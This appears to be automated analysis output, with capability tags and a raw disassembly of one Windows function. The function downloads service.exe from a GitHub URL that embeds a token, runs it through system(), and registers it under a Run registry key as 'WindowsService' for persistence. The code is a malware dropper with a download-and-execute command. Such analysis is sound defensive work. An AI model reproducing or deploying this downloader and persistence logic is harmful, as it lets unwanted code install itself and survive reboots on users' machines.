Function at 0x140002b00
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
lea ecx, [r12 + 0x20]
call fcn.140005380
mov r15, rax
mov qword [rbp + 0x1f], rax
mov r14d, 0x12
mov qword [rbp + 0x2f], r14
mov qword [rbp + 0x37], 0x1f
movups xmm0, xmmword [str.C:WindowsUtilits]
movups xmmword [rax], xmm0
movzx eax, word [0x140008ae0]
mov word [r15 + 0x10], ax
mov byte [r15 + 0x12], r12b
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x71], xmm1
lea ecx, [r12 + 0x20]
call fcn.140005380
mov rdx, rax
mov qword [rsp + 0x38], rax
movdqa xmm0, xmmword [0x140008e30]
movdqu xmmword [rbp - 0x71], xmm0
movsd xmm0, qword [str.curl__o__]
movsd qword [rax], xmm0
movzx ecx, byte [0x140008b90]
mov byte [rax + 8], cl
movups xmm0, xmmword [r15]
movups xmmword [rax + 9], xmm0
movzx eax, word [r15 + 0x10]
mov word [rdx + 0x19], ax
mov byte [rdx + 0x1b], r12b
mov r8d, 0x92
lea rdx, str._service.exe__https:__raw.githubusercontent.com_nyash4_grafmorik_prank_release_master_service.exe_tokenGHSAT0AAAAAACRJFJUX2H5QXPVUS5HGM3YKZRH52RQ
lea rcx, [rsp + 0x38]
call fcn.1400038e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x11], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x21], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x11], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp - 0x69]
cmp rdx, 0xf
jbe 0x140002c57
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056cc
movdqa xmm0, xmmword [0x140008e10]
movdqu xmmword [rbp - 0x71], xmm0
mov byte [rsp + 0x38], 0
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x21]
cmp qword [rbp - 9], 0xf
cmova rcx, qword [rbp - 0x21]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x1400030e0
lea rdx, str.__._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003a80
lea rdx, str.WindowsService
lea rcx, [rbp - 1]
call fcn.140003550
nop
lea rdx, str.C:WindowsUtilits_service.exe
lea rcx, [rbp - 0x41]
call fcn.140003550
nop
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rcx, [rsp + 0x38]
call fcn.140003550
nop
lea rdx, [rsp + 0x38]
cmp qword [rbp - 0x69], 7
cmova rdx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140002d30
lea rdx, str.Error_opening_registry_key.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003a80
mov rcx, rax
lea rdx, [0x140003c50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002da5
lea rcx, [rbp - 0x41]
cmp qword [rbp - 0x29], 7
cmova rcx, qword [rbp - 0x41]
lea rdx, [rbp - 1]
cmp qword [rbp + 0x17], 7
cmova rdx, qword [rbp - 1]
mov eax, dword [rbp - 0x31]
add eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140002e07
lea rdx, str.Error_setting_registry_value.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003a80
mov rcx, rax
lea rdx, [0x140003c50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rbp - 0x69]
cmp rdx, 7
jbe 0x140002de2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140002ddd
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002e4b
call fcn.1400056cc
lea rdx, str.Failed_to_add_program_to_startup.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003a80
mov rcx, rax
lea rdx, [0x140003c50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002e73
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rbp - 0x69]
cmp rdx, 7
jbe 0x140002e57
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056cc
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140003c90
mov rcx, rax
lea rdx, [0x140003ef0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x71], xmm1
lea rsi, [r14 + 1]
mov ebx, 0xf
mov rax, rsi
or rax, rbx
movabs rbx, 0x7fffffffffffffff
cmp rax, rbx
jbe 0x140002eca
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005380
test rax, rax
je 0x140002ef5
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002f0e
mov rbx, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002efc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400032bb
jmp 0x140002eaf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002f0b
call fcn.140005380
mov rdi, rax
jmp 0x140002f0e
mov rdi, r12
mov qword [rsp + 0x38], rdi
mov qword [rbp - 0x71], rsi
mov qword [rbp - 0x69], rbx
mov byte [rdi], 0x22
lea rcx, [rdi + 1]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 0xd
lea rdx, str._service.exe_
lea rcx, [rsp + 0x38]
call fcn.1400038e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x61], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x51], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x61], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x51], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x69]
cmp rdx, 0xf
jbe 0x140002fb4
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002faf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002faf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056cc
movdqa xmm0, xmmword [0x140008e10]
movdqu xmmword [rbp - 0x71], xmm0
mov byte [rsp + 0x38], 0
lea rcx, [rbp - 0x61]
cmp qword [rbp - 0x49], 0xf
cmova rcx, qword [rbp - 0x61]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140002ff2
lea rdx, [0x140008c80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003a80
nop
mov rdx, qword [rbp - 0x49]
cmp rdx, 0xf
jbe 0x140003030
inc rdx
mov rcx, qword [rbp - 0x61]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000302b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000302b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056cc
movdqa xmm0, xmmword [0x140008e10]
movdqu xmmword [rbp - 0x51], xmm0
mov byte [rbp - 0x61], 0
mov rdx, qword [rbp - 0x29]
cmp rdx, 7
jbe 0x140003084
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000307f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000307f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056cc
movdqa xmm0, xmmword [0x140008e00]
movdqu xmmword [rbp - 0x31], xmm0
mov word [rbp - 0x41], r12w
mov rdx, qword [rbp + 0x17]
cmp rdx, 7
jbe 0x140003232
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000322c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000322c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
mov ecx, 0x20
call fcn.140005380
mov qword [rbp - 0x41], rax
movdqa xmm0, xmmword [0x140008e20]
movdqu xmmword [rbp - 0x31], xmm0
mov byte [rax], 0x22
movups xmm0, xmmword [r15]
movups xmmword [rax + 1], xmm0
movzx ecx, word [r15 + 0x10]
mov word [rax + 0x11], cx
mov byte [rax + 0x13], 0
mov r8d, 0xd
lea rdx, str._service.exe_
lea rcx, [rbp - 0x41]
call fcn.1400038e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x61], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x51], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x61], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x51], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x1400031a3
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000319e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000319e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056cc
movdqa xmm0, xmmword [0x140008e10]
movdqu xmmword [rbp - 0x31], xmm0
mov byte [rbp - 0x41], 0
lea rcx, [rbp - 0x61]
cmp qword [rbp - 0x49], 0xf
cmova rcx, qword [rbp - 0x61]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x1400031df
lea rdx, [0x140008c80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003a80
lea rdx, str.____._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003a80
nop
mov rdx, qword [rbp - 0x49]
cmp rdx, 0xf
jbe 0x140003232
inc rdx
mov rcx, qword [rbp - 0x61]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000322c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000322c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056cc
nop
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x140003270
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000326b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000326b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400056cc
movdqa xmm0, xmmword [0x140008e10]
movdqu xmmword [rbp - 0x11], xmm0
mov byte [rbp - 0x21], 0
mov edx, 0x20
mov rcx, r15
call fcn.1400056cc
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140005360
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001930
nop
int3